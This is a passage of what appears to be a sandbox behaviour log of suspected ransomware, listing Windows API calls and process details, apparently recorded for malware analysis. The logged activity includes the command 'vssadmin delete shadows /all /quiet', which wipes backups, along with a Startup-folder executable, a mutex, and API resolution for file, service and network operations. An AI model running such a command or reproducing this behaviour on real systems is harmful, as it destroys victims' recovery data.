lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0186.926] _vsnwprintf (in: _Buffer=0x20e9dad0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x2a3676f308 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0186.926] _vsnwprintf (in: _Buffer=0x20e9dad0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x2a3676f308 | out: _Buffer=">") returned 1 [0186.926] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.926] GetFileType (hFile=0x254) returned 0x3 [0186.926] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.926] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0186.926] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2a3676f2f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2f8*=0x14, lpOverlapped=0x0) returned 1 [0186.926] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.926] GetFileType (hFile=0x248) returned 0x3 [0186.926] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.926] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.927] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0186.927] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0186.927] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.927] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.927] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0186.927] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0186.927] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.927] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.927] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0186.927] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0186.927] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.927] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.927] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0186.928] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0186.928] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.928] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.928] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0186.928] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0186.928] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.928] GetFileType (hFile=0x248) returned 0x3 [0186.928] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.928] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.928] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.928] GetFileType (hFile=0x254) returned 0x3 [0186.928] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.928] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0186.928] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2a3676f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f5f8*=0x5, lpOverlapped=0x0) returned 1 [0186.928] GetProcessHeap () returned 0x20e9d8f0000 [0186.928] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x4012) returned 0x20e9d8f8e90 [0186.928] GetProcessHeap () returned 0x20e9d8f0000 [0186.929] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8e90) returned 1 [0186.930] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0186.930] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0186.930] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0186.930] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0186.930] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0186.930] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0186.930] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0186.930] GetProcessHeap () returned 0x20e9d8f0000 [0186.930] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb0) returned 0x20e9d8f0730 [0186.930] GetProcessHeap () returned 0x20e9d8f0000 [0186.930] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1a) returned 0x20e9d8f6330 [0186.931] GetConsoleOutputCP () returned 0x4e3 [0187.591] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0187.591] SetThreadUILanguage (LangId=0x0) returned 0x409 [0188.430] GetConsoleTitleW (in: lpConsoleTitle=0x2a3676f440, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0188.585] malloc (_Size=0xffce) returned 0x20e9dae0840 [0188.586] ??_V@YAXPEAX@Z () returned 0x20e9dae0840 [0188.586] malloc (_Size=0xffce) returned 0x20e9daf0820 [0188.586] ??_V@YAXPEAX@Z () returned 0x20e9daf0820 [0188.586] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0188.587] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0188.587] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0188.587] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0188.587] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0188.587] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0188.587] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0188.587] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0188.587] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0188.587] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0188.587] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0188.587] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0188.587] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0188.587] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0188.587] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0188.587] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0188.587] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0188.587] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0188.587] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0188.587] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0188.587] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0188.588] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0188.588] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0188.588] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0188.588] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0188.588] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0188.588] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0188.588] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0188.588] ??_V@YAXPEAX@Z () returned 0x1 [0188.588] GetProcessHeap () returned 0x20e9d8f0000 [0188.588] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x14) returned 0x20e9d8f7610 [0188.588] GetProcessHeap () returned 0x20e9d8f0000 [0188.588] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1a) returned 0x20e9d8f6500 [0188.588] GetProcessHeap () returned 0x20e9d8f0000 [0188.588] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x21c) returned 0x20e9d8f77c0 [0188.588] GetConsoleTitleW (in: lpConsoleTitle=0x20e9d8f77d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0188.793] GetProcessHeap () returned 0x20e9d8f0000 [0188.793] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d8f77c0, Size=0x64) returned 0x20e9d8f77c0 [0188.793] GetProcessHeap () returned 0x20e9d8f0000 [0188.793] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d8f77c0) returned 0x64 [0188.793] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0188.943] GetProcessHeap () returned 0x20e9d8f0000 [0188.943] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f77c0) returned 1 [0188.943] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0189.058] exit (_Code=2) Thread: id = 55 os_tid = 0xe74 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2fa4b000" os_pid = "0xe08" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xe0c Thread: id = 51 os_tid = 0xe44 Thread: id = 52 os_tid = 0xe60 Thread: id = 53 os_tid = 0xe6c Thread: id = 54 os_tid = 0xe70 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4a2a0000" os_pid = "0x5c8" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xdd8" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010d8c" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 62 os_tid = 0xd18 Thread: id = 63 os_tid = 0xac4 Thread: id = 64 os_tid = 0xa18 Thread: id = 65 os_tid = 0xa14 Thread: id = 66 os_tid = 0x9b0 Thread: id = 67 os_tid = 0x678 Thread: id = 68 os_tid = 0x670 Thread: id = 69 os_tid = 0x640 Thread: id = 70 os_tid = 0x63c Thread: id = 71 os_tid = 0x638 Thread: id = 72 os_tid = 0x5d0 Thread: id = 73 os_tid = 0x5cc Process: id = "10" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x39440000" os_pid = "0xe94" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0xe98 Thread: id = 75 os_tid = 0xe9c Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x2b37d000" os_pid = "0xec8" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdf0" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0xecc Thread: id = 77 os_tid = 0xed4 Thread: id = 78 os_tid = 0xf00 Thread: id = 79 os_tid = 0xf18 Thread: id = 80 os_tid = 0xf1c Process: id = "12" image_name = "wmxsde.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe" page_root = "0x256fb000" os_pid = "0xfc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd8" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 81 os_tid = 0xfc4 [0202.174] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x771e0000 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcAddress") returned 0x771f51b0 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleHandleW") returned 0x771f50d0 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="FindNextFileW") returned 0x7724ee40 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="FindClose") returned 0x7724ed70 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="MoveFileW") returned 0x7722e500 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileSizeEx") returned 0x7724ef40 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleFileNameW") returned 0x771f5090 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileAttributesW") returned 0x7724ef10 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="ExitProcess") returned 0x771f3cb0 [0202.174] GetProcAddress (hModule=0x771e0000, lpProcName="GetCommandLineW") returned 0x771f4cc0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameW") returned 0x772232c0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameA") returned 0x77223780 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="CreateMutexW") returned 0x7724eb70 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenW") returned 0x771f6c70 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenA") returned 0x771f6c50 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcess") returned 0x7724ea10 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForSingleObject") returned 0x7724eca0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="GetLogicalDrives") returned 0x771f0d20 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="GetTickCount") returned 0x7724dd50 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteFileW") returned 0x7724ed40 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="WideCharToMultiByte") returned 0x771f6b10 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7724ebb0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="Sleep") returned 0x771f6760 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="LeaveCriticalSection") returned 0x778bb250 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="ReadFile") returned 0x7724f090 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="CreateFileW") returned 0x7724ed10 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="OpenMutexW") returned 0x7724ebf0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="EnterCriticalSection") returned 0x778bb2d0 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForMultipleObjects") returned 0x7724ec80 [0202.175] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiW") returned 0x771f6bf0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiA") returned 0x771f6bd0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteCriticalSection") returned 0x7789fb90 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="ReleaseMutex") returned 0x7724ec20 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="CloseHandle") returned 0x7724eab0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="GetVersion") returned 0x771f56c0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="CreateThread") returned 0x771f46b0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x771f4a40 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceCounter") returned 0x771f5da0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceFrequency") returned 0x771f5dc0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcessId") returned 0x7724ea20 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="SetFileAttributesW") returned 0x7724f100 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="GetVolumeInformationW") returned 0x7724f020 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="WriteFile") returned 0x7724f180 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="SetFilePointerEx") returned 0x7724f130 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="SetEndOfFile") returned 0x7724f0e0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="FindFirstFileW") returned 0x7724edf0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcessHeap") returned 0x771f51f0 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="HeapReAlloc") returned 0x778af630 [0202.176] GetProcAddress (hModule=0x771e0000, lpProcName="HeapAlloc") returned 0x778b2dc0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="HeapFree") returned 0x771f57f0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="CreatePipe") returned 0x771f4590 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="SetHandleInformation") returned 0x7724eae0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="CreateProcessW") returned 0x771f4610 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringW") returned 0x771f4430 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringA") returned 0x771f4410 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="OpenProcess") returned 0x771f5cc0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="TerminateProcess") returned 0x771f67e0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="GetSystemTime") returned 0x771f54e0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="SystemTimeToFileTime") returned 0x771f67a0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="GetLastError") returned 0x771f5010 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7722edc0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="Process32NextW") returned 0x7722f8f0 [0202.177] GetProcAddress (hModule=0x771e0000, lpProcName="Process32FirstW") returned 0x7722f750 [0202.177] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74580000 [0202.202] GetProcAddress (hModule=0x74580000, lpProcName="RegOpenKeyExW") returned 0x7459e580 [0202.203] GetProcAddress (hModule=0x74580000, lpProcName="RegQueryValueExW") returned 0x7459e5a0 [0202.203] GetProcAddress (hModule=0x74580000, lpProcName="RegSetValueExW") returned 0x7459f530 [0202.203] GetProcAddress (hModule=0x74580000, lpProcName="RegCloseKey") returned 0x7459ed60 [0202.203] GetProcAddress (hModule=0x74580000, lpProcName="OpenProcessToken") returned 0x7459efb0 [0202.203] GetProcAddress (hModule=0x74580000, lpProcName="GetTokenInformation") returned 0x7459ee90 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="OpenSCManagerW") returned 0x745a0540 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="OpenServiceW") returned 0x7459fa20 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="CloseServiceHandle") returned 0x7459fc00 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="ControlService") returned 0x745b26d0 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="QueryServiceStatus") returned 0x745a2380 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="EnumDependentServicesW") returned 0x745b2f70 [0202.204] GetProcAddress (hModule=0x74580000, lpProcName="EnumServicesStatusExW") returned 0x7459fc80 [0202.204] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75f20000 [0202.977] GetProcAddress (hModule=0x75f20000, lpProcName="SystemParametersInfoW") returned 0x75f4f210 [0202.977] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74ae0000 [0203.023] GetProcAddress (hModule=0x74ae0000, lpProcName="ShellExecuteExW") returned 0x74c44730 [0203.023] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77870000 [0203.023] GetProcAddress (hModule=0x77870000, lpProcName="NtQuerySystemInformation") returned 0x778e2070 [0203.216] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74270000 [0203.221] GetProcAddress (hModule=0x74270000, lpProcName="WNetCloseEnum") returned 0x74272640 [0203.221] GetProcAddress (hModule=0x74270000, lpProcName="WNetOpenEnumW") returned 0x74272790 [0203.222] GetProcAddress (hModule=0x74270000, lpProcName="WNetEnumResourceW") returned 0x74272410 [0203.222] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76cc0000 [0203.226] GetProcAddress (hModule=0x76cc0000, lpProcName="WSAStartup") returned 0x76cc5b40 [0203.226] GetProcAddress (hModule=0x76cc0000, lpProcName="socket") returned 0x76cd4510 [0203.226] GetProcAddress (hModule=0x76cc0000, lpProcName="send") returned 0x76cc5030 [0203.226] GetProcAddress (hModule=0x76cc0000, lpProcName="recv") returned 0x76cd0c50 [0203.227] GetProcAddress (hModule=0x76cc0000, lpProcName="connect") returned 0x76cc5410 [0203.227] GetProcAddress (hModule=0x76cc0000, lpProcName="closesocket") returned 0x76cd0910 [0203.227] GetProcAddress (hModule=0x76cc0000, lpProcName="gethostbyname") returned 0x76cf6cb0 [0203.227] GetProcAddress (hModule=0x76cc0000, lpProcName="inet_addr") returned 0x76cd9160 [0203.227] GetProcAddress (hModule=0x76cc0000, lpProcName="ntohl") returned 0x76cc49d0 [0203.228] GetProcAddress (hModule=0x76cc0000, lpProcName="htonl") returned 0x76cc49d0 [0203.228] GetProcAddress (hModule=0x76cc0000, lpProcName="htons") returned 0x76cd8ff0 [0203.228] GetProcessHeap () returned 0x5c0000 [0203.228] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5cb050 [0203.228] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12067261739) returned 1 [0203.228] GetTickCount () returned 0x1d740 [0203.228] GetCurrentProcessId () returned 0xfc0 [0203.231] GetTickCount () returned 0x1d740 [0203.231] GetTickCount () returned 0x1d740 [0203.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5cb078 [0203.232] GetVersion () returned 0x23f00206 [0203.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5d6fe8 [0203.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d7f60 [0203.232] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7f60, Size=0x20) returned 0x5cb0a0 [0203.232] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5cb0a0, Size=0x40) returned 0x5d7848 [0203.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5de8b0 [0203.232] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41A") returned 0x1ec [0203.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 